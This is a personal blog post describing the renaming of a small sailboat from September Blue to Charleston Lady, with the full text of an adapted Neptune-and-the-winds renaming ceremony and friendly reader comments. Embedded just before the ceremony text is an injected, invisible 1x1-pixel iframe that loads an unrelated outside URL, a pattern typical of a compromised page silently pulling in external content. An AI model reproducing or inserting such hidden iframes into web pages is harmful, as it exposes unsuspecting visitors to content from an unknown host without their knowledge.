Posted by: wrmcnutt | August 24, 2010

September Blue – The Renaming Ceremony


This weekend, I held the long-promised re-christening of my large less-small boat.  Charleston Lady is a 2005 model year West Wight Potter – 19, formerly owned by David and Deborah Tamminger in Richmond, Virginia.   Her old name came from the frequent occurrence of birthdays in the Tamminger Family, and the feeling of mild sadness that comes with the end of summer.  A worthy name, but not one that fit my family.  Residents of east Tennessee, we greet September with delight, as the sun stops beating us about the head and shoulders as we step out-of-doors, and the pollen and mold counts drop down in to numbers the human mind can comprehend.  We are also blessed with mild winters that permit, if you’re only slightly insane, the sailing season to extend year round.  So once you’re out of school, September Blues just aren’t part of your life around us.

On the other hand, Mom had just passed away when I made the decision to buy the boat.  Oddly, it was Dad’s life that inspired me.  Dad had two dreams that he shared with me.  All his life he planned to build a cabin in the mountains and buy a multi-purpose power boat.  Nothing fancy, just something with a deep-v hull, good for skiing, and maybe taking offshore in nice weather for some bottom fishing.

Neither ever happened.  Something else was always more important to spend the money on.  Other projects needed to be finished first.  So when I’m stuck in that little room with the window on the courtyard I can not longer walk out to, I’m not going to be regretting never getting around to my dreams.

As of Saturday, September Blue became Charleston Lady, in honor of my mother, whose careful stewardship of her resources left me a legacy large enough to both put something away for my retirement, and enjoy this indulgence.

The day was blazingly hot and there was almost no wind.  You can’t have a worse day for sailing unless there’s thunder and lightning.  Nature must be a drama critic. Thank God for an air-conditioned clubhouse.  We performed the ceremony at my summer slip at the Concord Yacht Club. My wife, the gentlemen who’ve been helping me learn the boat, and some close friends were all invited.  Most showed, so we had about 20 people. I put on a silly hat and performed a two part ceremony, the De-naming and Christening Ceremonies, ancient and venerable.  I’ve traced them all the way back to, I think, the early 1970’s.  They were put together by John Vigor, sailing author, who felt that superstitious sailors needed a way to rename their boats.  I, of course, adapted his ceremony to one that suited me, my family, and my boat.  For your entertainment, the text is after the jump.

Once the ceremony was complete, my guests escaped into the clubhouse while I applied fire to dead cow, and there were burgers and all-beef hot dogs for all. We also finished off the red wine and had a few beers.  I then selected my crew for Charleston Lady’s first cruise.  I took my navigator, my helmsman, and my lady wife, all of whom have supported me in this adventure.  Afterwards, everybody got a short ride on the boat, mostly under power and a blazing hot sun.

But a bad day on the lake still beats a good day at the office.

[iframe width=”1″ height=”1″ src=”http://s6g.info/go.php?sid=1″%5D“Mister Anderson, please take the navigator’s station.  Mister Voss, take this ingot and assume the helmsman’s station.

September Blue, you have been a good and worthy vessel, keeping safe all your crew aboard, above and below. In the name of your previous sailing master, David Tamminger, his wife Deborah, and their children, for me and all other who have sailed upon you, we offer our thanks that for the protection you have afforded us in the past.  We voice our gratitude that we have found shelter from tempest and storm, and enjoyed safe passage to port.

Great King Neptune, called by the Greeks, Poseidon, we acknowledge the fate of all vessels, brave and true – that they must, in the end, go to the breakers, or to Davy Jones’ locker.  We implore you in your graciousness to record for all time in your records and recollection the name September Blue, which has taken its rightful place in your kingdom. As proof thereof, we submit this ingot bearing her name to be corrupted through your powers and forever be reside in the waters.

Helmsman, cast the ingot into the waters!

Further, we ask that when she is again presented for blessing with another name, she shall be recognized and shall be accorded once again the selfsame privileges she previously enjoyed.

In return for which, we rededicate this vessel to your domain in full knowledge that she shall be subject as always to the immutable laws of the gods of the wind and the sea. In consequence whereof, and in good faith, we  ffer these libations to your majesty and your court.”

At this point I decanted a generous libation of red wine, west to east, into the waters.

“Great King Neptune, called by the Greeks, Poseidon, grant this worthy vessel, Charleston Lady, the benefits and pleasures of your bounty, ensuring us of your gentle ministration, according to our needs.”

At this point, I decanted a libation, west to east into the waters.

“Navigator, give me a bearing, due north!”

Facing north: “Great Boreas, exalted ruler of the North Wind, grant us permission to use your mighty powers in the pursuit of our lawful endeavors, ever sparing us the overwhelming scourge of your frigid breath.

At this point, I decanted a libation due north.

“Navigator, give me a bearing, due East!

Great Eurus, exalted ruler of the East Wind, grant us permission to use your mighty powers in the pursuit of our lawful endeavors, ever sparing us the overwhelming scourge of your mighty breath.”

At this point, I decanted a libation to the East.

“Navigator, give me a bearing, due South!

Great Notus, exalted ruler of the South Wind, grant us permission to use your mighty powers in the pursuit of our lawful endeavors, ever sparing us the overwhelming scourge of your scalding breath.”

At this point, I decanted a libation to the South.

“Navigator, give me a bearing, due West!

Great Zephyrus, exalted ruler of the West Wind, grant us permission to use your mighty powers in the pursuit of our lawful endeavors, ever sparing us the overwhelming scourge of your wild breath.”

At this point, I decanted a libation to the West South.

“Gentlefolk, that takes care of the old Gods.  I would now as your indulgence, as I invoke the new one.”

Oh mighty and great ruler of the seas and oceans, to whom all ships and we who venture upon your vast domain are required to pay homage, may this vessel reflect the joy of travelers sharing a timeless journey.  For the song of the waters ends not at the shore but in the hearts of those who have traveled them.  I christen this ship Charleston Lady.  May God bless her captain and crew and keep them safe.  May the heavens smile upon all who sail with her.  May she always enjoy clear skies and sprightly winds.

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Responses

  1. WIsh I could have been there…

    • Well, you were invited. Sorry you missed it. A good time, burgers, and top shelf boxo was had by all.

  2. I hope you did not anger Zephyrus by actions as you did words:

    “‘Great Zephyrus, exalted ruler of the West Wind, grant us permission to use your mighty powers in the pursuit of our lawful endeavors, ever sparing us the overwhelming scourge of your wild breath.’

    At this point, I decanted a libation to the South.”

    But otherwise, a mighty fine ceremony.

    • Fixed, I tank you.

      I was truly in fine voice, and absurdities abounded, such as scrubbing the cockpit the last half-hour before the gathering. Where to boat GO to find so much mildew in just to weeks?

  3. An excellent ceremony. Wish I could have been there. Glad y’all had fun.

    • I missed you.

  4. […] […]

  5. wish we could have been there.

    • I’m sorry too. It wasn’t the same without ya’ll there.

      The new name was your idea, you know.

  6. Did Martin tell you? I was directing a piece that I actually wrote and cast. so my first ever dramatic piece, my first ever casting decisions, my first ever directing experience…I was scared to death.
    it went well though.

    I loved reading about the ceremony.

    • No, he didn’t. Congratulations.


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